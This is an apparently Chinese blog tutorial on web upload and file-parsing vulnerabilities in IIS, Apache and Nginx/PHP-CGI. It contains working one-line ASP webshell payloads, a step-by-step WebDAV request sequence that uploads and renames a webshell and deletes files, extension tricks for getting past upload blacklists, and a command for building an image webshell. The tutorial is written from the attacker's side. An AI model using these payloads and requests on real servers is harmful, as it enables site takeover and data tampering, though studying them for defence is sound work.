上传漏洞,我们为什么要上传?因为我们说过。在网站服务器上 肯定有一个Web容器,它里面装的就是Web应用程序 。某些脚本具有一定的执行和修改权限。这些权限可以说是服务器给客户端访问时提供的服务的同时提供的, 提供服务越多, 存在漏洞的几率就越大。
如果我们上传了某个具有对系统进行操作性权限的文件(一句话木马,大马,bat,dll等),那对于我们接下去的攻击提供了很大的方便。
上面这些我就不多说了 ,之前也讲过了。回归正题, 我们这篇要说的是:
解析漏洞
在这里我先说一个知识点吧,相信很多人都听说过:一句话木马
(PS:可能这篇结构有点乱~)
一句话木马(选自百度百科):
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request(“value”)%>
其中value是值(俗称密码),你可以更改自己的值,前面的request就是获取这个值
<%eval request(“value”)%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用中国菜刀进行连接得到Webshell,从而拥有读写网站目录的权限(除了部分限权网站,只是简说)。
(不知道数据库也可以,只要知道
<%eval request(“value”)%>
这个文件被插入到哪一个ASP文件里面就可以了)这就被称为一句话木马
逻辑导航
文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,从而,黑客可以利用该漏洞实现非法文件的解析。
下面就列举早些年存在至今的解析漏洞:
(大家尽量理解概念)
一、IIS解析漏洞
1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析(如text.asp/1.txt.此处的txt是以ASP文件的影视运行的)
2.当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
3.WebDav漏洞(对IIS写权限的利用,这个我们在之前学http请求的时候就说过的请求头和正文语句,这段好好看)
第一步,通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com
响应:
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
第二步,通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30
<%eval request(“chopper”)%>
第三步,通过Move或Copy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com
二、Apache解析漏洞
在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。
例 上传文件:
1.php.aa.bb
后缀名bb 不认识,向前解析
1.php.aa
后缀名aa 不认识 向前解析
1.php 最终解析结果为PHP文件
这种方法可以绕过基于黑名单的检查。(如网站限制,不允许上传后缀名为PHP的文件)
Apache认识的扩展名保存在安装目录下”/conf/mime.types”文件中。下图为本机的情况,文件在路径C:wampbinapacheApache2.2.21confmime.types
三、PHP CGI解析漏洞
在某些使用Nginx的网站中,
访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:wampbinphpphp5.3.10php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
附:
用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)
评论留言